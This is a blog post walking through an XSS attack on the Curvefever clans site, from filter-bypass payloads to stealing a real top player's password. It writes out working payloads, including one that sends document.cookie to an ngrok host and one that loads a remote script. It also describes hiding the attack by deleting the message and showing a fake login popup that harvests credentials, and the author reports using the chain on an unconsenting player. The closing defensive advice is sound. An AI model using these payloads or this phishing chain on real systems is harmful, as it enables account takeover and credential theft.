XSS dangers, Stealing top players accounts

Elyx0
12 min readApr 2, 2017

--

XSS, aka Cross Site Scripting, is often explained pretty vaguely, and from my time incentivizing Dailymotion Frontend team, everybody grasped the concept but couldn’t fully get the potential from start to finish of an attack leveraging it.

This article will study the case of a game named Curvefever.

It’s a Multiplayer game based on the good old “Snake/Tron” principle.
(If you’re from the generation Y you had at least a friend with it on his NOKIA 3410)

Nice way Cyan!

The goal is to be the last one standing while your line keeps getting longer and longer.

The main feature being that these lines randomly draws “holes” for either you or you opponents to pass through.

At high levels it can lead to quite delightful fights.

The trick

As you might have guessed even with being a decent player, reaching top 5 is quite a performance with currently ~200k players in the leaderboard it requires you reaching the top 0.0025%

A website or application is as secure as is its less secure component.

And like in the movies it is your role as the attacker to find that component. The recon phase.

The main curvefever website (at the time of writing: 2015) was powered by an up to date Drupal and it didn’t seem they customized it enough to add the human error factor into account.

The main game for version 2 runs on Flash, that connected both to their own server and to Yahoo Games PlayerIO API. I guessed Yahoo did their job here and for a quick win it wasn’t the most obvious place to look.

Enters curvefever clans

Finally we come across clans.curvefever.com, supporting sending messages, invitations, notes, a paradise of user input data fields that can be abused.

A normal login session on the curvefever clans portal, using, OpenID

An OpenID is a way of identifying yourself no matter which website you visit. Your most known version of it is probably this:

What to do first?

First, assess what frameworks / plugins the site uses from the Network panel: jQuery and Autobahn, the rest seems hand made.

Hand made is good, for us at least, to investigate about the top 10 most encountered vulnerabilities according to OWASP starting with one: XSS
XSS consists in injecting our own code into the existing web page.

Where to find these XSS?

In inputs, fields, parameters, anything that the server will take from us to start an action using it even if it’s just echoing it back.

As mentioned earlier, the clan page allows players to send each other messages, so let’s send one to ourself and see how it impacts the page.

Talking to oneself doesn’t always mean crazy

When we receive it into the website inbox we get the following:

Sweet, both the title and some part of the message are shown on hover

We notice that by putting the mouse over the subject a part of the message appears in the box governed by the title attribute of an input

Alright next step is figuring out how many characters can be rendered from the message content shown in the title attribute, so we have a better understanding of our maneuvering radius by sending us… another message.

AnswerItsNotMuchButItWillDoOtherwiseTheyWouldBeNoArticle

Alright we are allowed 50 chars to make the magic happen, IF this title attribute can be abused. (Spoiler alert: It is)

The html rendering the New! inbox message is the following:

Our goal will be to close the title attribute and continue with our own code.

Usual vectors

In a world with no sanitizing of the data a replacing the message content: This-is-the-message with">script>alert('Hello')</script>would be enought, giving us back <span id="nolink" title=""><script>alert('Hello')</script> in the page source code, proving the XSS possibility.

What we hope to achieve

Sadly that would be a pretty easy win and would probably not deserve a blog entry either. what the server gave us back was: <span id="nolink" title="">. Nothing passed.

Learning from the mistakes

From this first shot we can guess that message is discarded if script tag is found

Evading the filter

The next step is to try several XSS “common” vectors. From experience and knowing the backend was PHP, coupled with nl2br()mistakes, often seen, is to forget new lines in the sanity checking

Let’s craft a new email titledTesting new lines: and the message:

"
=
</span>
=
</
=
<
=
span>
=
<
script>
alert(1)
<
/script

We finally get something unexpected in the inbox.

Awesome we broke stuff!

Finally we break the layout, believe me during the above phase of the crafting I usually feel more like a wizard dancing around a Troll and casting random spells until the layout breaks and I find he’s vulnerable to some kind of element.

The source was ultimately altered to:
<span id="nolink" title="" =="=" <="" script=""> alert(1)&lt;/script"&gt;<a href="messages.php?message=39831"><span class="newm">New!</span> Testing new lines:</a></span>

Not exactly what we wanted but that will do. We can see that this went a bit crazy, some parts got removed, some didn’t. We indeed closed the title=""but weren’t able to concatenate the script tag with its surrounding chevrons, some of it got UrlEncoded like&lt; and &gt;

Drawing conclusions

From the previous tests it seems our best choice of attack will be to act using the attributes of this first <span> while keeping in mind that we are allowed only 50 chars.

The XSS attacks can be split into two categories, those who execute automatically (ie: no user action required) and the triggered ones.

The shortest auto executing XSS here would be:

"
autofocus onfocus
=
'alert(1);'

But sadly, trying this we learn that we are only allowed 1 line jump and no space between them or the subsequent lines get wonky. Breaking the XSS.

Triggered XSS: binding to user actions

So we narrowed it down to a 50 character max XSS user interaction driven. Meaning, hovering, clicking, scrolling and so on.

A working messsage version is finally:

"onclick
=alert(1);a="

Which trigger the following:

Our code is running on their website! Yeah!

Wait a minute what are we in for again?

In the case of a vulnerability disclosure event, that would be enough to constitute a Bounty Reward but for the sake of the experiment and for those who don’t realize the power of an XSS, let’s elaborate the attack.

First thing we want to get our hands on if possible, are the Cookies as they represent the current user session.

As you can guess I didn’t censor them for the beauty of it and if you were to get this extension, my cookie adm...mc6, and replace yours with mine while they are still valid, then refresh the page you would be logged as me.

to grab it we just have to replace alert(1) with alert(document.cookie) and we would see it pop up in the alert box.

Hey but I see the main curvefever.com cookie in the list, why not steal this one and replace it the same way and have access to the user?

Not so simple, cookies have flags on them which defines enforced rules and what you can do with them.

The HttpOnly flag means that javascript is not able to get the content of this cookie by calling document.cookie securing against XSS attacks towards identity stealing. But that’s only for the main domain, we’re currently acting on a sub domain: clans.curvefever.com

Oh, no HttpOnly, you’re mine!

No HttpOnly flag here. But a HostOnly flag.
(Description here)

At this point I felt like, If I can get that I can impersonate any user on clans, but not on the main site aka: the game.

Exporting the cookie

This Seagull forgot we had only 50 chars to export the cookie

The way to do it is instead of triggering an alert we trigger a request to our own website with the cookie passed along, with an Http Request or Ajax for those to whom it might ring a bell.

Except making a request is gonna consume way more characters than just outputting an alert() box. And we are still stuck with 50.

Compressing the XSS

The standard request code for current browsers to do while sending cookies is along the lines of

var req = new XMLHttpRequest();  
req.open('GET', 'http://mysite.com/'+document.cookie, false);
req.send(null);

Great but that’s 115 characters and plenty of spaces that are forbidden in this case. No good.

Then again the longer your website URL is the more characters you’re losing on your 50 allowed.

Given the current state of the domain names squatting you would be lucky to have a 6 letters .com domain name.
(Or have to pay a lot)

Introducing ngrok

Ngrok is a tunneling service to your localhostand allows you to have custom urls in the form of http://yourdomain.ngrok.io

Sending the cookie

One interesting point of being in the context of an XSS attack is that you can use any library the website uses to your advantage.

Remember earlier during the framework checking, we know we foundjQuery.Giving access to it usually renamed as $ and j

jQuery really makes life easier after all but for everyone…

Combined with our new ultra cool and short url b.ngrok.io we get enough room to pull it off with a message containing:

"onclick
=j.get('http://f.ngrok.io/'+document.cookie);"

Then we go to http://localhost:4040/inspect/http and wait for the magic to happen.

And we receive at the same time in Ngrok tunnel inspection:

If I were to be waiting and took that PHPSESSID while valid and change my own for this one. I would be logged in clans.curvefever as the person who clicked the message.

Yeah well played you can steal user accounts on clans! Send other people messages and trick them, awesome!

Not yet. It’s good. But not the intended goal.

Remember the beginning of the article about OpenID ? And that sweet popup that ask for login with real curvefever.com user and password?

A normal login session on the curvefever clans portal, using, OpenID

What if we could take control over this one now?

Moreover, when the user clicks the message for now, he sees the weird code message after and might suspect that something is up to no good and warning the maintainers. We don’t want that.

Covering our tracks

Being able to inject a script is basically being in godlike mode as long as you know what you want to do.

  1. Change our message so it injects another script to bypass the 50 limitation.
  2. Interrupt the page change.
  3. Do our things while the user thinks he waits for the message to be loaded by leveraging their existing jQuery once more.
"onmouseover
=j.getScript('//f.ngrok.io/a');a="

Now we’re acting upon mouseover and not click anymore. Why? It’s faster to execute. The hover usually takes places then the click, even if you’re super fast with your mouse/trackpad

The /a route will be serving our javascript code as a plain js file. And jQuery will load it in the page. Great !

Warning: Remember that you’re usually not allowed to $.getScript from a different origin so our malicious servers is sending CORS headers (ie: Access-Control-Allow-Origin: *)

Stopping the flow and preventing spam click

Currently if our user gets impatient of has parkinson since the two events are racing each other: mouseover loading our malicious script and the click trying to navigate to the full message page, we need to stop the last one by using:

if (window.stop) { stop() } else { document.execCommand("Stop"); }
For Internet Explorer and Webkit support.

Then stopping the propagation and preventing default.

$('#hlavnicast span[onmouseover] a').attr('src','#'); $('#hlavnicast span[onmouseover]').on('click','a',function(e){ e.preventDefault(); e.stopImmediatePropagation(); });

We are targeting message links and changing their src with # (transforming them into mere anchors) and make sure that nothing happens if he keeps clicking on it.

Ok now our page is halted and the user won’t be redirected to read the message.

Deleting our incriminating message

Piece of cake, since we’re driving the browser, we’ll simply make the browser open the link of the [Delete] message button in an invisible iframe

We’re loading the url of the Delete button into an iframe

Logging the user out while still preserving control

Our current XSS only applies to the inbox page where it is loaded by echoing back unsafe data from the message field of the message.

We want to mess with the login popup to be able to pull our trick.

The solution? The same way we deleted our message, we call the logoutfunction without making the user navigate away but in an iframe that gets OVER the current content of the page (the inbox). Superposing the two. And making the one under disappear.

Some love for css z-index

This iframe is now acting as the current new page in the eyes of the user.
The whole point of creating a new iframe on top is that we can alter its content from the inbox page that is under and which is still running our XSS

It works because the page that created the iframe (inbox) and the iframeoperates on the same domain
both respectively at /messages and /logout

A closer look at the interesting functions regarding the login

Taking control of the Sign in popup

The popup window function is handled by window.openPopupWindow()

We will replace the iframe window.openPopupWindow() to actually open the popup WE choose by assigning a new function myEvilPopup (not shown) to it.

Making use of jQuery .load() callback we’ll craft myEvilPopup so it opens their Twitter page instead: https://mobile.twitter.com/curvefevergame

Email hover -> Iframe over -> replaced openPopup function

An actually nice point was that openPopupWindow was part of the global scope no extra digging to replace it at the correct instantiation time or other.

What do we put in the evil popup?

Time to get old school and create a minimalistic and convincing copy of the content of the original window but with only what is needed.

Pretty convincing, that will do.

Lets edit popupLoad() content to load in it our newly crafted Login clone HTML.

What have we done here?

  • We open the normal login popup which is on the same domain so we control any contents it holds, like previously for the iframe.
  • We change the URL bar to be as close as possible as the real one
  • We change the content as fast as we can without breaking the flow: Trying to change it too fast will not work because the popup w.document might not be writable yet.
Could you spot the difference with the original?

The URL is almost similar but not quite.
http://clans.curvefever.com/user/login?destination=openid/provider/continueis our fake one and

http://curvefever.com/user/login?destination=openid/provider/continue is the legitimate one

Would you have caught it? Probably not if you’re not from the developer staff. If yes, kudos, you didn’t get fooled and are very alert.

Let’s look at the flow with fake data inputed:

Meanwhile in the inspector we receive the encoded user + pass

We receive the encoded login in the URL
Tm9wZUJyb35+fmJyb3Bhc3N3b3Jk

That we decode with atob("Tm9wZUJyb35+fmJyb3Bhc3N3b3Jk")

Giving US: "NopeBro~~~bropassword"

And that’s it the flow is complete. Here’s a full recording of the XSS happening from start like a basic user would encounter it:

Seamless experience, with one less message in the inbox though

What about this top player account? I need closure

You can see where this is going, we send an intriguing message to our beloved from earlier Gilnash which is a top player asking for help (no offense, you're a good player, and I love Yugioh too.) along with our well-formed message.

You spin up the node server that wait for the user and soon enough you get a

Delivered: 16:22:36 GMT-0400 (EDT) --> 77.XXX.XXX.169 GET /R2lsbmFzaH5+fm5vdHB1dHRpbmdJdEluVGhldHV0b3JpYWw=

Then, we reverse like shown before with atob("R2lsbmFzaH5+fm5vdHB1dHRpbmdJdEluVGhldHV0b3JpYWw=")and we get his credentials.

And he wasn’t happy either. I can understand.

Conclusions

Always go https when possible, flag your cookies HttpOnly if possible and secure, and sanitize your outputs. Using some library like the excellent https://github.com/cure53/DOMPurify

For developers, I recommend reading
http://blog.slaks.net/2015-10-13/web-authentication-arms-race-a-tale-of-two-security-experts/

For users, learn to know the URLs and behavior of the websites you’re using and always triple check URLs bars.

Eventually, the admins got wind of it and I received some lovely encrypted “I got you” messages in my tunnel and the bug was patched the day after giving the following

MAINTENANCE: 12:30 - 13:00 CET, Curve Clans will not be available due to a planned maintenance. CLICK HERE TO TRY IT AGAIN

You can find the full payload loaded by the getScript here

Remembers that CORS apply to javascript queried from different domains so for Node you would need something like this

Remember, never trust user input.

A succesful credentials stealing

--

--